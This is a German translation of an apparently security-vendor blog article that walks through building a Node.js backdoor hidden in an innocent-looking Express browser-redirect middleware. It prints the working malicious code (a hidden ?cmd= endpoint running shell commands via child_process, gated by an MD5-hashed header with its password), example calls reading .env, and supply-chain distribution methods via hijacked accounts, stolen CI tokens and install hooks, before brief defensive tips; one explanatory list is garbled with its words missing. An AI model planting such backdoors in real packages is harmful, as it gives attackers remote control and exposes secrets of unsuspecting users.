Kennen Sie Ihren Feind: Erstellen Sie eine Node.js-Hintertür

Eine Hintertür in ihrem eigenen Code, die nahtlos mit dem Betriebssystem interagieren kann, ist einer der schlimmsten Albträume eines Entwicklers. Derzeit hat npm über 1,2 Millionen öffentliche Pakete. In den letzten drei Jahren sind Projektabhängigkeiten zu einem idealen Ziel für Cyberkriminelle geworden. Das npm-Ökosystem kann überraschend fragil sein, wenn die Entwicklergemeinschaft der Sicherheit keine besondere Aufmerksamkeit schenkt. Als Beweis für diese Idee genügt es, die Tippfehler und den Vorfall mit dem Ereignisstrom-Paket npm abzurufen. Der Autor des Artikels, dessen Übersetzung wir heute veröffentlichen, möchte zu Bildungszwecken darüber sprechen, wie Hintertüren für die Node.js-Plattform erstellt werden.





Was ist eine Hintertür?


Hier ist die Definition des Begriffs „Hintertür“ in der Malwarebytes- Ressource : „Im Bereich der Cybersicherheit ist eine Hintertür eine Methode, mit der autorisierte und nicht autorisierte Benutzer allgemeine Sicherheitsmaßnahmen umgehen und einen Root-Zugriff auf hoher Ebene auf ein Computersystem erhalten können. Netzwerkanwendung. Nach einem solchen Zugriff auf das System können Cyberkriminelle über eine Hintertür persönliche und finanzielle Daten stehlen, zusätzliche Malware installieren und Geräte hacken. “

Die Hintertür besteht aus zwei Hauptteilen:

  1. Schädlicher Code, der in ein angegriffenes System eingebettet und auf diesem ausgeführt wird
  2. Ein offener Kommunikationskanal, über den ein Angreifer Befehle an eine Hintertür senden und einen Remotecomputer steuern kann.

Die auf dem Computer installierte Hintertür erhält Befehle, auf die bestimmte Aktionen ausgeführt werden. Hierbei kann es sich um Befehle handeln, die darauf abzielen, wertvolle Informationen aus dem System zu extrahieren, z. B. Umgebungsvariablen, oder um einen Angriff auf die Datenbank auszuführen. Darüber hinaus kann die Ausführung solcher Befehle zu einer Änderung anderer Prozesse führen, die einen einzelnen Computer oder das gesamte Netzwerk betreffen. Das Ausmaß des Angriffs hängt von den Berechtigungen der infizierten Anwendung ab. In unserem Fall handelt es sich um eine Anwendung, die für die Node.js.-Plattform geschrieben wurde.

Um eine vereinfachte Version des Programms zu erstellen, die den obigen Angriff implementiert, verwenden wir das Standardmodul child_process , um den Code auszuführen. Um die Kommunikation mit der Hintertür herzustellen, verwenden wir einen HTTP-Server. Ich würde Ihnen raten, in diesem Fall das Express-Framework zu verwenden, das für seine enormen Funktionen bekannt ist. Was jedoch besprochen wird, kann mit anderen geeigneten Tools implementiert werden.

Warum brauchen wir child_process?


Das Standardmodul Node.js child_processkann zum Starten untergeordneter Prozesse verwendet werden. Die Hauptidee hier ist, dass es uns die Möglichkeit gibt, Befehle (die über einen Standardeingabestream in den Prozess eingehen - stdin) wie pwdoder auszuführen ping snyk.iound dann das Ergebnis dieser Befehle (die Ausgabe kommt vom Ausgabestream - stdout) und mögliche Fehlermeldungen (von) zu integrieren Stream stderr) zum Hauptprogramm.


Prozessausführung und ihre Beziehung zu Standard-Eingabe-, Ausgabe- und Fehlerflüssen, die die Rolle von Eingabe- und Ausgabeflüssen für einen laufenden Systemprozess spielen.

Es gibt verschiedene Möglichkeiten, untergeordnete Prozesse auszuführen. Für diesen Angriff, ist es am einfachsteneine Funktion zu verwendenexecdie Sie und in den entsprechenden Puffer Rückruf erlaubtwas den bekommt instdoutundStrömestderr. Zum Beispiel, was als Ergebnis des Befehls ausgegeben wirdcat passwords.txt. Bitte beachten Sie, dass eine Funktionexecnicht der beste Weg ist, um lange Aufgaben wie auszuführenping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Wie kombiniere ich die Exec-Funktion mit dem HTTP-Server?


Ich habe ein einfaches, unschuldig aussehendes Middleware-Paket zur Browserumleitung für Express-Anwendungen entwickelt. Nicht-Chrome-Benutzer werden zu browserehappy.com weitergeleitet . Ich werde bösartigen Code in dieses Paket aufnehmen.

Der Paketcode lautet ungefähr so:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Es reicht für das Opfer aus, das Paket zu installieren und in der Express-Anwendung auf dieselbe Weise zu verwenden, wie sie jedes Paket in der mittleren Ebene verwenden:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Bitte beachten Sie, dass in diesem Fall Helmetdie Anwendung auch bei Verwendung nicht vor Angriffen geschützt ist.

Schadcode


Die Implementierung des Schadcodes ist recht einfach:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Wie funktioniert unsere Hintertür? Beachten Sie Folgendes, um diese Frage zu beantworten:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


Nachdem der Backdoor-Code fertig ist, müssen Sie überlegen, wie Sie das Schadpaket verteilen können.

Der erste Schritt besteht darin, das Paket zu veröffentlichen. Ich habe das Paket browser-redirect@1.0.2in npm veröffentlicht. Wenn Sie sich jedoch das GitHub-Repository des Projekts ansehen, ist der Schadcode nicht vorhanden. Überzeugen Sie sich selbst - werfen Sie einen Blick auf den Master- Projektzweig und veröffentlichen Sie 1.0.2 . Dies ist möglich, weil npm den Code veröffentlichter Pakete nicht mit dem Code überprüft, der in einem System veröffentlicht wurde, das für die Arbeit mit Quellcode ausgelegt ist.

Obwohl das Paket in npm veröffentlicht wird, sind seine Verbreitungschancen immer noch sehr gering, da potenzielle Opfer es noch finden und installieren müssen.

Eine andere Möglichkeit, ein Paket zu verteilen, besteht darin, ein schädliches Modul als Abhängigkeit für andere Pakete hinzuzufügen. Wenn ein Angreifer Zugriff auf ein Konto mit den Veröffentlichungsrechten eines wichtigen Pakets hat, kann er eine neue Version eines solchen Pakets veröffentlichen. Zu den Abhängigkeiten der neuen Version des Pakets gehört auch eine Hintertür. Infolgedessen sprechen wir über die direkte Einbeziehung eines Schadpakets in die Abhängigkeiten eines beliebten Projekts (werfen Sie einen Blick auf die Analyse des Vorfalls, der mit event-stream aufgetreten ist). Alternativ kann ein Angreifer versuchen, PR in einem Projekt zu erstellen, indem er entsprechende Änderungen an der Sperrdatei vornimmt. Lesen Sie hier darüber .

Ein weiterer wichtiger Faktor, der berücksichtigt werden muss, ist, ob der Angreifer Zugriff auf die Anmeldeinformationen (Benutzername und Passwort) einer Person hat, die ein bestimmtes beliebtes Projekt unterstützt. Wenn ein Angreifer über solche Daten verfügt, kann er problemlos eine neue Version des Pakets veröffentlichen - genau wie bei eslint .

Aber selbst wenn jemand, der das Projekt unterstützt, die Zwei-Faktor-Authentifizierung verwendet, um es zu veröffentlichen, riskiert er es dennoch. Wenn ein kontinuierliches Integrationssystem zum Bereitstellen neuer Versionen des Projekts verwendet wird, muss die Zwei-Faktor-Authentifizierung deaktiviert werden. Wenn ein Angreifer ein funktionierendes npm-Token für ein kontinuierliches Integrationssystem stehlen kann (z. B. aus versehentlich veröffentlichten Protokollen, aus Datenlecks und aus anderen ähnlichen Quellen), kann er neue Versionen mit schädlichem Code bereitstellen .

Bitte beachten Sie, dass die neue API veröffentlicht wurde .(befindet sich noch im privaten Beta-Status), mit dem Sie herausfinden können, ob das Paket unter Verwendung der IP-Adresse des TOR-Netzwerks veröffentlicht wurde und ob beim Veröffentlichen eine Zwei-Faktor-Authentifizierung verwendet wurde.

Darüber hinaus können Angreifer den Schadcode so konfigurieren, dass er in Form eines Skripts ausgeführt wird, das vor der Installation oder nach der Installation eines npm-Pakets ausgeführt wird. Es gibt Standard- Lifecycle- Hooks für npm-Pakete, mit denen Sie Code zu einem bestimmten Zeitpunkt auf dem Computer eines Benutzers ausführen können. Ein System zum Organisieren von Testprojekten in einem Browser, Puppeteer , verwendet diese Hooks beispielsweise, um Chromium auf einem Hostsystem zu installieren.

Ryan Dahl sagte bereitsInformationen zu diesen Sicherheitsanfälligkeiten auf der JSConf EU 2018. Die Node.js-Plattform benötigt ein höheres Schutzniveau, um diesen und andere Angriffsmethoden zu verhindern.

Hier einige Schlussfolgerungen aus der Open-Source- Sicherheitsstudie für Software:

  • 78% der Schwachstellen befinden sich in indirekten Abhängigkeiten, was den Prozess der Beseitigung solcher Schwachstellen erschwert.
  • Innerhalb von 2 Jahren haben die Sicherheitslücken in Bibliotheken um 88% zugenommen.
  • 81% der Befragten sind der Meinung, dass Entwickler selbst für die Sicherheit verantwortlich sein sollten. Sie glauben außerdem, dass die Entwickler darauf nicht gut vorbereitet sind.

Ergebnisse: Wie schützen Sie sich vor Hintertüren?


Das Steuern von Abhängigkeiten ist nicht immer einfach, aber ein paar Tipps können Ihnen dabei helfen:

  • Verwenden Sie bekannte und unterstützte Bibliotheken.
  • Beteiligen Sie sich am Gemeinschaftsleben und helfen Sie denen, die Bibliotheken unterstützen. Die Hilfe kann das Schreiben von Code oder die finanzielle Unterstützung von Projekten umfassen.
  • Verwenden Sie NQP , um die neuen Abhängigkeiten Ihres Projekts zu analysieren.
  • Verwenden Sie Snyk, um sich über Schwachstellen auf dem Laufenden zu halten und Ihre Projekte zu überwachen.
  • Analysieren Sie den Code der verwendeten Abhängigkeiten, der in npm gespeichert ist. Beschränken Sie sich nicht darauf, Code von GitHub oder anderen ähnlichen Systemen anzuzeigen.

Liebe Leser! Wie schützen Sie Ihre Projekte mit dem Code eines anderen?


All Articles